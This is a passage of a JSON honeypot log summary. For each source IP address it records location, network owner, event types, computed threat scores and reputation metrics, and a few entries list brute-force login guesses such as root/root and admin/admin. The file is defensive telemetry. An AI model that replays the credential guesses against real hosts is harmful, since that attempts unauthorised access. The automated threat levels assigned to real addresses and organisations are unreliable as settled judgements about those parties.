        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:45:00.874000+00:00",
        "last_seen_30d": "2026-05-18T23:59:45.154000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "201.238.0.178": {
      "attack_count": 8,
      "first_seen": "2026-05-20T12:51:02.468Z",
      "last_seen": "2026-05-20T15:41:51.237Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T12:51:02.468000+00:00",
        "last_seen_30d": "2026-05-20T15:42:57.414000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "8.219.222.66": {
      "attack_count": 6,
      "first_seen": "2026-05-12T09:50:01.343Z",
      "last_seen": "2026-05-12T09:50:05.083Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T09:50:01.343000+00:00",
        "last_seen_30d": "2026-05-12T09:51:08.056000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "151.15.195.64": {
      "attack_count": 5,
      "first_seen": "2026-05-31T11:11:34.141Z",
      "last_seen": "2026-05-31T11:11:37.290Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "helen"
      ],
      "passwords_attempted": [
        "helen123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Rome",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T11:11:34.141000+00:00",
        "last_seen_30d": "2026-05-31T11:12:42.378000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "192.42.116.106": {
      "attack_count": 5,
      "first_seen": "2026-05-23T07:57:08.161Z",
      "last_seen": "2026-05-23T07:57:22.276Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "support"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2024support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 7.5,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 9,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-23T07:57:08.161000+00:00",
        "last_seen_30d": "2026-05-31T06:54:01.554000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Ciscoasa": 15,
        "Cowrie": 5,
        "Tanner": 1
      }
    },
    "89.42.231.109": {
      "attack_count": 5,
      "first_seen": "2026-05-03T20:05:34.722Z",
      "last_seen": "2026-05-03T20:05:38.095Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.3,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 169,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:11:20.767000+00:00",
        "last_seen_30d": "2026-05-03T20:43:52.018000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 164,
        "Cowrie": 5
      }
    },
    "201.238.33.201": {
      "attack_count": 4,
      "first_seen": "2026-05-18T22:08:55.968Z",
      "last_seen": "2026-05-18T23:20:05.757Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:08:55.968000+00:00",
        "last_seen_30d": "2026-05-18T23:21:07.072000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "212.33.235.243": {
      "attack_count": 4,
      "first_seen": "2026-05-13T13:09:38.725Z",
      "last_seen": "2026-05-13T20:32:16.284Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Perm",
      "asn": 12768,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T13:09:38.725000+00:00",
        "last_seen_30d": "2026-05-13T20:42:18.504000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "40.124.175.188": {
      "attack_count": 4,
      "first_seen": "2026-05-20T10:08:18.421Z",
      "last_seen": "2026-05-20T10:08:28.913Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 52.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 18.3,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 22,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T16:18:08.461000+00:00",
        "last_seen_30d": "2026-05-25T23:35:10.062000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 14,
        "Cowrie": 4
      }
    },
    "46.191.157.159": {
      "attack_count": 4,
      "first_seen": "2026-05-25T23:43:59.508Z",
      "last_seen": "2026-05-25T23:44:33.648Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Navashino",
      "asn": 60095,
      "as_org": "JSC Ufanet",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 2.5,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 3,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-25T20:00:49.891000+00:00",
        "last_seen_30d": "2026-05-27T14:17:13.532000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 4,
        "Tanner": 2,
        "Honeytrap": 1
      }
    },
    "91.230.168.177": {
      "attack_count": 4,
      "first_seen": "2026-05-26T20:06:14.597Z",
      "last_seen": "2026-05-26T20:06:16.551Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 27,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T19:52:09+00:00",
        "last_seen_30d": "2026-05-29T20:38:05.179000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 35,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "178.73.236.54": {
      "attack_count": 3,
      "first_seen": "2026-05-25T22:27:20.998Z",
      "last_seen": "2026-05-25T22:27:20.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42708,
      "as_org": "Glesys AB",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T22:27:20.998000+00:00",
        "last_seen_30d": "2026-05-25T22:28:28.958000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "209.99.184.233": {
      "attack_count": 3,
      "first_seen": "2026-05-20T09:46:28.502Z",
      "last_seen": "2026-05-20T09:47:43.826Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T12:15:05+00:00",
        "last_seen_30d": "2026-05-20T09:57:52.558000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "43.112.78.21": {
      "attack_count": 3,
      "first_seen": "2026-05-26T22:01:12.732Z",
      "last_seen": "2026-05-26T22:02:14.062Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T22:01:12.732000+00:00",
        "last_seen_30d": "2026-05-26T22:03:14.980000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "102.179.135.247": {
      "attack_count": 2,
      "first_seen": "2026-05-16T21:13:18.227Z",
      "last_seen": "2026-05-16T21:13:18.227Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Burkina Faso",
      "country_code": "BF",
      "city": "Ouagadougou",
      "asn": 37577,
      "as_org": "Orange",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T21:13:18.227000+00:00",
        "last_seen_30d": "2026-05-16T21:14:25.040000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.220.209.88": {
      "attack_count": 2,
      "first_seen": "2026-05-12T01:09:14.860Z",
      "last_seen": "2026-05-12T01:09:26.924Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 11845,
      "as_org": "Vox-Telecom",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T01:09:14.860000+00:00",
        "last_seen_30d": "2026-05-12T01:10:36.490000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.112.213.193": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:17:37.968Z",
      "last_seen": "2026-05-23T13:17:50.803Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137172,
      "as_org": "ALL CONNECT NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:17:37.968000+00:00",
        "last_seen_30d": "2026-05-23T13:18:52.787000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.32.187.148": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:58:21.150Z",
      "last_seen": "2026-05-23T09:58:49.858Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:58:21.150000+00:00",
        "last_seen_30d": "2026-05-23T09:59:55.617000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.102.169.145": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:35:02.783Z",
      "last_seen": "2026-05-19T06:35:15.889Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:35:02.783000+00:00",
        "last_seen_30d": "2026-05-19T06:36:21.225000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.30.253.95": {
      "attack_count": 2,
      "first_seen": "2026-05-30T17:29:01.978Z",
      "last_seen": "2026-05-30T17:31:01.979Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Daejeon",
      "asn": 38121,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T17:29:01.978000+00:00",
        "last_seen_30d": "2026-05-30T17:41:46.867000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.204.1.127": {
      "attack_count": 2,
      "first_seen": "2026-05-30T08:47:33.552Z",
      "last_seen": "2026-05-30T08:47:46.598Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T08:47:33.552000+00:00",
        "last_seen_30d": "2026-05-30T08:48:50.863000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.25.38.196": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:19:22.552Z",
      "last_seen": "2026-05-23T01:19:23.140Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:19:22.552000+00:00",
        "last_seen_30d": "2026-05-23T01:20:24.796000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.248.153.247": {
      "attack_count": 2,
      "first_seen": "2026-05-22T11:00:05.192Z",
      "last_seen": "2026-05-22T11:00:18.548Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:00:05.192000+00:00",
        "last_seen_30d": "2026-05-22T11:01:28.228000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.183.54.153": {
      "attack_count": 2,
      "first_seen": "2026-05-07T17:07:58.339Z",
      "last_seen": "2026-05-07T17:08:12.018Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T17:07:58.339000+00:00",
        "last_seen_30d": "2026-05-07T17:09:17.116000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.130.251.228": {
      "attack_count": 2,
      "first_seen": "2026-05-25T17:50:40.930Z",
      "last_seen": "2026-05-25T17:50:54.335Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T17:50:40.930000+00:00",
        "last_seen_30d": "2026-05-25T17:51:56.394000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "154.45.137.208": {
      "attack_count": 2,
      "first_seen": "2026-05-11T21:44:45.326Z",
      "last_seen": "2026-05-11T21:44:57.985Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barinas",
      "asn": 272809,
      "as_org": "THUNDERNET, C.A.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T21:44:45.326000+00:00",
        "last_seen_30d": "2026-05-11T21:46:05.855000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "165.245.142.191": {
      "attack_count": 2,
      "first_seen": "2026-05-20T23:24:49.982Z",
      "last_seen": "2026-05-20T23:24:50.245Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Douglasville",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 1.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 2,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-20T23:24:49.982000+00:00",
        "last_seen_30d": "2026-05-21T18:21:54.876000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "167.57.128.121": {
      "attack_count": 2,
      "first_seen": "2026-05-20T21:53:35.580Z",
      "last_seen": "2026-05-20T21:53:48.438Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T21:53:35.580000+00:00",
        "last_seen_30d": "2026-05-20T21:54:51.199000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "173.189.213.72": {
      "attack_count": 2,
      "first_seen": "2026-05-05T04:03:00.290Z",
      "last_seen": "2026-05-05T04:03:12.689Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashland",
      "asn": 7029,
      "as_org": "Windstream Communications LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
